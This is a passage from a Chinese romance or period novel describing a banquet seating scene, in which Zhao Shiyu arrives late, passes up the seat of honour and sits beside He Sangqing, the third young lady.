颜夫人的笑容有点尴尬,但也没说什么,回去坐下了。 郑锦书面色冷了几分。 主位有两个,姜夫人和颜夫人都没坐,留给赵拾玉和郑家主,她们坐在两侧首位,而贺桑青和郑锦书坐在她们身边的位置。 没等多久,郑家主来了。 赵拾玉姗姗来迟,郑家主起身,想开口请他坐到主位来,话还没出口,他坐到贺桑青旁边。 他转头笑看贺桑青:“三姑娘,不介意我坐这里吧?” 她抬眼,跟他对上视线。